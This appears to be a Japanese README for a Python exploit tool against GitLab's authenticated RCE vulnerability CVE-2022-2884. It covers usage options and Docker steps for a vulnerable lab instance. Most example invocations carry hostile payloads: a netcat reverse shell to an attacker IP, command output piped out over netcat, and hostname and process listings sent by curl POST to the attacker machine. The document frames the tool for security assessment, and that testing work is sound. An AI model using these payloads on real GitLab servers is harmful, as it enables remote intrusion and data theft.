
CVE-2022-2884として知られるGitLabの認証済みRCE脆弱性を悪用します。
これは、CVE-2022-2884 として知られる GitLab の認証済み RCE 脆弱性を悪用する Python3 プログラムです。
このツールは、セキュリティエンジニアおよびアプリケーションセキュリティ(AppSec)担当者がセキュリティ評価を行うことを目的としています。このツールは責任を持って使用してください。本アプリケーションの使用方法については一切責任を負いません。このツールを使用して引き起こされた損害や犯された犯罪についても、一切責任を負いません。
$ ./gitlab_rce_cve-2022-2884.py --help
usage: gitlab_rce_cve-2022-2884.py [-h] -u URL -pt PRIVATE_TOKEN [-tn TARGET_NAMESPACE] -a ADDRESS [-p PORT] [-s] -c COMMAND [-d DELAY] [-v]
Exploit for GitLab authenticated RCE vulnerability known as CVE-2022-2884. - v1.0 (2022-12-25)
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL of the victim GitLab
-pt PRIVATE_TOKEN, --private-token PRIVATE_TOKEN
private token of GitLab
-tn TARGET_NAMESPACE, --target-namespace TARGET_NAMESPACE
target namespace of GitLab (default is 'root')
-a ADDRESS, --address ADDRESS
IP address of the attacker machine
-p PORT, --port PORT TCP port of the attacker machine (default is 1337)
-s, --https set if the attacker machine is exposed via HTTPS
-c COMMAND, --command COMMAND
the command to execute
-d DELAY, --delay DELAY
seconds of delay to wait for the exploit to complete
-v, --verbose verbose mode
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "id | nc 1.2.3.4 6669"
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash"
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "(hostname; ps aux) | curl 1.2.3.4:6669 -X POST --data-binary @- "
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "echo 'test' > /tmp/test"
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -c "nc 1.2.3.4 6669 -e /bin/bash" -d 180
./gitlab_rce_cve-2022-2884.py -v -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -a 1.2.3.4 -p 1337 -c "nc 1.2.3.4 6669 -e /bin/bash"
./gitlab_rce_cve-2022-2884.py -u http://victim.gitlab.server -pt "glpat-YourGitLabPrivateToken" -tn root -a 1.2.3.4 -p 1337 -s -c "nc 1.2.3.4 6669 -e /bin/bash"
脆弱なアプリケーションは、以下のコマンドでセットアップできます。
export GITLAB_HOME=/srv/gitlab
docker run --detach --rm \
--hostname gitlab.example.com \
--publish 443:443 --publish 80:80 --publish 22:22 \
--name vuln-gitlab \
--volume $GITLAB_HOME/config:/etc/gitlab \
--volume $GITLAB_HOME/logs:/var/log/gitlab \
--volume $GITLAB_HOME/data:/var/opt/gitlab \
--shm-size 256m \
gitlab/gitlab-ce:15.3.0-ce.0
Docker コンテナがクエリに応答し始めるまでには、しばらく時間がかかる場合があります。その後、http://localhost に接続します。
ユーザー名 root と、以下のコマンドで取得したパスワードを使用してサインインします。
docker exec -it vuln-gitlab grep 'Password:' /etc/gitlab/initial_root_password
エクスプロイトをローカルでテストするには、docker run コマンドに --network="host" を追加し、GitLab の送信リクエストに関する制約を解除する必要があります:
127.0.0.1 を追加します;このエクスプロイトの前提条件は、GitLab にプライベートトークンを持っていることです:
api スコープを持つトークンを生成します。詳細については、LICENSE ファイルを参照してください。